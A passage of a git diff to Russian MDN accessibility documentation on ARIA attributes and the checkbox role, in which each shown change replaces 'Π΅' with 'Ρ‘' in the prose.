-<p>ΠŸΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ Π½ΠΈΠΆΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ ΠΊΠ°ΠΆΠ΄ΡƒΡŽ ΠΊΠΎΠΌΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½Π½ΡƒΡŽ Ρ€ΠΎΠ»ΡŒ, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΡ… Ρ‚Ρ€Π΅Π±ΡƒΠ΅ΠΌΡ‹Π΅ ΠΈ Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ Ρ€ΠΎΠ»ΠΈ.</p>
+<p>ΠŸΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ Π½ΠΈΠΆΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ ΠΊΠ°ΠΆΠ΄ΡƒΡŽ ΠΊΠΎΠΌΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½Π½ΡƒΡŽ Ρ€ΠΎΠ»ΡŒ, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΡ… Ρ‚Ρ€Π΅Π±ΡƒΠ΅ΠΌΡ‹Π΅ ΠΈ Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ Ρ€ΠΎΠ»ΠΈ.</p>
<div class="index">
<ul>
diff --git a/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-describedby_attribute/index.html b/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-describedby_attribute/index.html
index e481272f17..a2d825dcb0 100644
--- a/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-describedby_attribute/index.html
+++ b/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-describedby_attribute/index.html
@@ -15,13 +15,13 @@ translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-describedb
<h3 id="Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅">Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</h3>
-<p>Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ список ID элСмСнтов</p>
+<p>Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ список ID элСмСнтов</p>
<h3 id="Π’ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅_послСдствия_для_ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ…_Π°Π³Π΅Π½Ρ‚ΠΎΠ²_ΠΈ_Π²ΡΠΏΠΎΠΌΠΎΠ³Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ…_Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ">Π’ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ послСдствия для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… Π°Π³Π΅Π½Ρ‚ΠΎΠ² ΠΈ Π²ΡΠΏΠΎΠΌΠΎΠ³Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ</h3>
-<div class="note"><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> МнСния ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ Π²ΡΠΏΠΎΠΌΠΎΠ³Π°Ρ‚Π΅Π»ΡŒΠ½Π°Ρ тСхнология Π΄ΠΎΠ»ΠΆΠ½Π° ΡΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒΡΡ с этой Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΎΠΉ, ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ. ΠŸΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Π°Ρ Π²Ρ‹ΡˆΠ΅ информация являСтся ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· Ρ‚Π°ΠΊΠΈΡ… ΠΌΠ½Π΅Π½ΠΈΠΉ ΠΈ поэтому Π½Π΅ носит Π½ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ Ρ…Π°Ρ€Π°ΠΊΡ‚Π΅Ρ€Π°.</div>
+<div class="note"><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> МнСния ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ Π²ΡΠΏΠΎΠΌΠΎΠ³Π°Ρ‚Π΅Π»ΡŒΠ½Π°Ρ тСхнология Π΄ΠΎΠ»ΠΆΠ½Π° ΡΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒΡΡ с этой Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΎΠΉ, ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ. ΠŸΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Π°Ρ Π²Ρ‹ΡˆΠ΅ информация являСтся ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· Ρ‚Π°ΠΊΠΈΡ… ΠΌΠ½Π΅Π½ΠΈΠΉ ΠΈ поэтому Π½Π΅ носит Π½ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ Ρ…Π°Ρ€Π°ΠΊΡ‚Π΅Ρ€Π°.</div>
<h3 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h3>
diff --git a/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-labelledby_attribute/index.html b/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-labelledby_attribute/index.html
index 97a87de95b..06f511c886 100644
--- a/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-labelledby_attribute/index.html
+++ b/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-labelledby_attribute/index.html
@@ -17,7 +17,7 @@ translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby
<h3 id="Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅">Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</h3>
-<p>Бписок ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ΠΎΠ² (id) Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠΌ</p>
+<p>Бписок ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ΠΎΠ² (id) Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠΌ</p>
<h3 id="Π’ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅_эффСкты_Π²_клиСнтских_прилоТСниях_ΠΈ_Π²ΡΠΏΠΎΠΌΠΎΠ³Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ…_тСхнологиях">Π’ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ эффСкты Π² клиСнтских прилоТСниях ΠΈ Π²ΡΠΏΠΎΠΌΠΎΠ³Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… тСхнологиях</h3>
diff --git a/files/ru/web/accessibility/aria/index.html b/files/ru/web/accessibility/aria/index.html
index b2dc0f6ec3..8a983d96e0 100644
--- a/files/ru/web/accessibility/aria/index.html
+++ b/files/ru/web/accessibility/aria/index.html
@@ -49,9 +49,9 @@ translation_of: Web/Accessibility/ARIA
<dl>
<dt><a class="external" href="/en-US/docs/Accessibility/Keyboard-navigable_JavaScript_widgets">Навигация с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹ ΠΈ фокус Π² Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π°Ρ… Π½Π° JavaScript</a></dt>
- <dd>ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ шаг Π² создании доступных JavaScript Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ΠΎΠ², ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΡ… ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ΡŒ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΡŽ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹. Π‘Ρ‚Π°Ρ‚ΡŒΡ описываСт ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ шаги ΠΏΠΎ Π΄ΠΎΡΡ‚ΠΈΠΆΠ΅Π½ΠΈΡŽ Ρ†Π΅Π»ΠΈ. Π•Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ Ρ…ΠΎΡ€ΠΎΡˆΠΈΠΉ рСсурс - <a class="external" href="http://www.yuiblog.com/blog/2009/02/23/managing-focus/">ΡΡ‚Π°Ρ‚ΡŒΡ Yahoo! ΠΎΠ± ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΈ фокусом.</a></dd>
+ <dd>ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ шаг Π² создании доступных JavaScript Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ΠΎΠ², ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΡ… ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ΡŒ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΡŽ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹. Π‘Ρ‚Π°Ρ‚ΡŒΡ описываСт ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ шаги ΠΏΠΎ Π΄ΠΎΡΡ‚ΠΈΠΆΠ΅Π½ΠΈΡŽ Ρ†Π΅Π»ΠΈ. Π•Ρ‰Ρ‘ ΠΎΠ΄ΠΈΠ½ Ρ…ΠΎΡ€ΠΎΡˆΠΈΠΉ рСсурс - <a class="external" href="http://www.yuiblog.com/blog/2009/02/23/managing-focus/">ΡΡ‚Π°Ρ‚ΡŒΡ Yahoo! ΠΎΠ± ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΈ фокусом.</a></dd>
<dt><a class="external" href="http://access.aol.com/dhtml-style-guide-working-group/">Style Guide for Keyboard Navigation</a></dt>
- <dd>Π’ этом руководствС ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ΡΡ способы управлСния самыми распространСнными Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π°ΠΌΠΈ с ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹.</dd>
+ <dd>Π’ этом руководствС ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ΡΡ способы управлСния самыми распространёнными Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π°ΠΌΠΈ с ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹.</dd>
</dl>
<h3 id="Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅_рСсурсы_ΠΏΠΎ_ARIA">Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ рСсурсы ΠΏΠΎ ARIA</h3>
@@ -68,7 +68,7 @@ translation_of: Web/Accessibility/ARIA
<h3 id="Бписок_рассылки.">Бписок рассылки.</h3>
<dl>
- <dt><a class="link-https" href="https://groups.google.com/forum/#!forum/free-aria">ΠžΡ‚ΠΊΡ€Ρ‹Ρ‚Π°Ρ Google Group, посвящСнная ARIA</a></dt>
+ <dt><a class="link-https" href="https://groups.google.com/forum/#!forum/free-aria">ΠžΡ‚ΠΊΡ€Ρ‹Ρ‚Π°Ρ Google Group, посвящённая ARIA</a></dt>
<dd>Π—Π΄Π΅ΡΡŒ ΠΌΠΎΠΆΠ½ΠΎ Π·Π°Π΄Π°Ρ‚ΡŒ вопрос ΠΎΠ± ARIA, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠΈΡ‚ΡŒ ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ, которая находится Ρ‚Π°ΠΌ ΠΆΠ΅.</dd>
</dl>
@@ -94,7 +94,7 @@ translation_of: Web/Accessibility/ARIA
<dt><a class="external" href="http://mail.yahoo.com">Yahoo! Mail</a></dt>
<dd>Π”Π΅Ρ‚ΠΈΡ‰Π΅ Yahoo! - Yahoo! Mail, Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, выглядящСС практичСски ΠΊΠ°ΠΊ Π½Π°Ρ‚ΠΈΠ²Π½ΠΎΠ΅ ΠΈ Π²ΠΏΠΎΠ»Π½Π΅ доступноС. ПослС <a class="external" href="http://www.marcozehe.de/2011/09/21/review-the-all-new-yahoo-mail-web-application/">ΠΎΠ±Π·ΠΎΡ€Π° Yahoo! Mail</a> с использованиСм экранной Ρ‡ΠΈΡ‚Π°Π»ΠΊΠΈ Marco Zehe сказал: "Π₯ΠΎΡ€ΠΎΡˆΠ°Ρ Ρ€Π°Π±ΠΎΡ‚Π°, Π½Π΅ сбавляйтС ΠΎΠ±ΠΎΡ€ΠΎΡ‚Ρ‹!".</dd>
<dt><a class="external" href="http://search.yahoo.com">Yahoo! Search</a></dt>
- <dd>Yahoo! ΠΏΡ€ΠΎΠ΄Π΅Π»Π°Π»ΠΈ Π½Π΅Π²Π΅Ρ€ΠΎΡΡ‚Π½ΡƒΡŽ Ρ€Π°Π±ΠΎΡ‚Ρƒ ΠΏΠΎ ΠΏΡ€ΠΎΠ΄Π²ΠΈΠΆΠ΅Π½ΠΈΡŽ ARIA Π² своСм поисковикС, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ всС возмоТности ΠΈ <a class="external" href="http://ycorpblog.com/2011/03/23/searchdirect/">дСлясь своим ΠΎΠΏΡ‹Ρ‚ΠΎΠΌ</a>. Yahoo! Search ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ ARIA landmarks, live regions, ΠΈ widgets.</dd>
+ <dd>Yahoo! ΠΏΡ€ΠΎΠ΄Π΅Π»Π°Π»ΠΈ Π½Π΅Π²Π΅Ρ€ΠΎΡΡ‚Π½ΡƒΡŽ Ρ€Π°Π±ΠΎΡ‚Ρƒ ΠΏΠΎ ΠΏΡ€ΠΎΠ΄Π²ΠΈΠΆΠ΅Π½ΠΈΡŽ ARIA Π² своём поисковикС, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ всС возмоТности ΠΈ <a class="external" href="http://ycorpblog.com/2011/03/23/searchdirect/">дСлясь своим ΠΎΠΏΡ‹Ρ‚ΠΎΠΌ</a>. Yahoo! Search ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ ARIA landmarks, live regions, ΠΈ widgets.</dd>
</dl>
<h3 id="Бтандартизация.">Бтандартизация.</h3>
diff --git a/files/ru/web/accessibility/aria/roles/checkbox_role/index.html b/files/ru/web/accessibility/aria/roles/checkbox_role/index.html
index 7301c80fa2..5a4c474ed2 100644
--- a/files/ru/web/accessibility/aria/roles/checkbox_role/index.html
+++ b/files/ru/web/accessibility/aria/roles/checkbox_role/index.html
@@ -17,7 +17,7 @@ translation_of: Web/Accessibility/ARIA/Roles/checkbox_role
<h2 id="ОписаниС">ОписаниС</h2>
-<p>Нативный <a href="/en-US/docs/Web/HTML/Element/input/checkbox">HTML checkbox</a>  элСмСнт управлСния ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Π΄Π²ΡƒΡ… состояниях отмСчСнности -Β "ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½" ΠΈΠ»ΠΈ "Π½Π΅ ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½", с <a href="/en-US/docs/Web/HTML/Element/input/checkbox#Indeterminate_state_checkboxes">Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ</a> состояниСм, устанавливаСмым с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ JavaScript. Аналогично элСмСнт с <code>role="checkbox"</code>Β  ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π² Ρ‚Ρ€Π΅Ρ… состояниях, ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π΅Π½Π½Ρ‹Ρ… Ρ‡Π΅Ρ€Π΅Π·Β <code>aria-checked</code> Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚: <code>true</code>, <code>false</code>, or <code>mixed</code>.</p>
+<p>Нативный <a href="/en-US/docs/Web/HTML/Element/input/checkbox">HTML checkbox</a>  элСмСнт управлСния ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Π΄Π²ΡƒΡ… состояниях отмСчСнности -Β "ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½" ΠΈΠ»ΠΈ "Π½Π΅ ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½", с <a href="/en-US/docs/Web/HTML/Element/input/checkbox#Indeterminate_state_checkboxes">Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ</a> состояниСм, устанавливаСмым с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ JavaScript. Аналогично элСмСнт с <code>role="checkbox"</code>Β  ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π² Ρ‚Ρ€Ρ‘Ρ… состояниях, ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π΅Π½Π½Ρ‹Ρ… Ρ‡Π΅Ρ€Π΅Π·Β <code>aria-checked</code> Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚: <code>true</code>, <code>false</code>, or <code>mixed</code>.</p>
<p>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ чСкбокс являСтся ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΌ элСмСнтом, ΠΎΠ½ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ фокусируСмым ΠΈ доступным ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹. Если Ρ€ΠΎΠ»ΡŒ установлСна для нСфокусируСмого элСмСнта, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ ΡΠΈΡ‚ΡƒΠ°Ρ†ΠΈΡŽ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β <code>tabindex</code>. ΠžΠΆΠΈΠ΄Π°Π΅ΠΌΡ‹ΠΉ способ Π°ΠΊΡ‚ΠΈΠ²Π°Ρ†ΠΈΠΈ чСкбокса ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹ -Β <kbd>ΠŸΡ€ΠΎΠ±Π΅Π»</kbd>Β .</p>
@@ -31,14 +31,14 @@ translation_of: Web/Accessibility/ARIA/Roles/checkbox_role
<dl>
<dt>aria-checked</dt>
<dd>
- <p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>aria-checked</code> опрСдСляСт состояниС чСкбокса. Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΎΠ΄Π½ΠΎ ΠΈΠ· Ρ‚Ρ€Π΅Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ:</p>
+ <p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>aria-checked</code> опрСдСляСт состояниС чСкбокса. Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΎΠ΄Π½ΠΎ ΠΈΠ· Ρ‚Ρ€Ρ‘Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ:</p>
<p><code>true</code><br>
Β Β Β  ЧСкбокс ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½<br>
<code>false</code><br>
Β Β Β  ЧСкбокс Π½Π΅ ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½<br>
<code>mixed</code><br>
- Β Β Β  ЧСкбокс частично ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½, ΠΈΠ»ΠΈ Π² Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌ состоянии</p>
+ Β Β Β  ЧСкбокс частично ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½, ΠΈΠ»ΠΈ Π² Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌ состоянии</p>
</dd>
<dt>tabindex="0"</dt>
<dd>Π”Π΅Π»Π°Π΅Ρ‚ элСмСнт фокусируСмым, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ассистивных Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ сразу ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΊ Π½Π΅ΠΌΡƒ ΠΈ Π½Π°Ρ‡Π°Ρ‚ΡŒ Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ.</dd>
@@ -67,7 +67,7 @@ translation_of: Web/Accessibility/ARIA/Roles/checkbox_role
<dt>onclick</dt>
<dd>ΠžΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ ΠΊΠ»ΠΈΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ·ΠΌΠ΅Π½ΡΡŽΡ‚ состояниС чСкбокса, мСняя Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Β <code>aria-checked</code> ΠΈ внСшний Π²ΠΈΠ΄ чСкбокса Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ выглядСл ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½Π½Ρ‹ΠΌ ΠΌΠ»ΠΌ Π½Π΅ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½Π½Ρ‹ΠΌ для зрячСго ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</dd>
<dt>onKeyPress</dt>
- <dd>ΠžΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ случай, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°ΠΆΠΈΠΌΠ°Π΅Ρ‚Β <kbd>ΠŸΡ€ΠΎΠ±Π΅Π»</kbd> для смСны состояния чСкбокса ΠΏΡƒΡ‚Π΅ΠΌ измСнСния значСния Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Β <code>aria-checked</code> ΠΈ внСшнСго Π²ΠΈΠ΄Π° чСкбокса Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ выглядСл ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½Π½Ρ‹ΠΌ ΠΌΠ»ΠΌ Π½Π΅ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½Π½Ρ‹ΠΌ для зрячСго ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</dd>
+ <dd>ΠžΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ случай, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°ΠΆΠΈΠΌΠ°Π΅Ρ‚Β <kbd>ΠŸΡ€ΠΎΠ±Π΅Π»</kbd> для смСны состояния чСкбокса ΠΏΡƒΡ‚Ρ‘ΠΌ измСнСния значСния Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Β <code>aria-checked</code> ΠΈ внСшнСго Π²ΠΈΠ΄Π° чСкбокса Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ выглядСл ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½Π½Ρ‹ΠΌ ΠΌΠ»ΠΌ Π½Π΅ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½Π½Ρ‹ΠΌ для зрячСго ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</dd>
</dl>
<dl>
@@ -75,7 +75,7 @@ translation_of: Web/Accessibility/ARIA/Roles/checkbox_role
<h3 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h3>
-<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Π½ΠΈΠΆΠ΅ создаСт простой чСкбокс, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ CSS ΠΈ JavaScript для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½Π½ΠΎΠ³ΠΎ ΠΈ Π½Π΅ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½Π½ΠΎΠ³ΠΎ состояний элСмСнта.</p>
+<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Π½ΠΈΠΆΠ΅ создаёт простой чСкбокс, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ CSS ΠΈ JavaScript для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½Π½ΠΎΠ³ΠΎ ΠΈ Π½Π΅ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½Π½ΠΎΠ³ΠΎ состояний элСмСнта.</p>
<h4 id="HTML">HTML</h4>
@@ -128,7 +128,7 @@ translation_of: Web/Accessibility/ARIA/Roles/checkbox_role
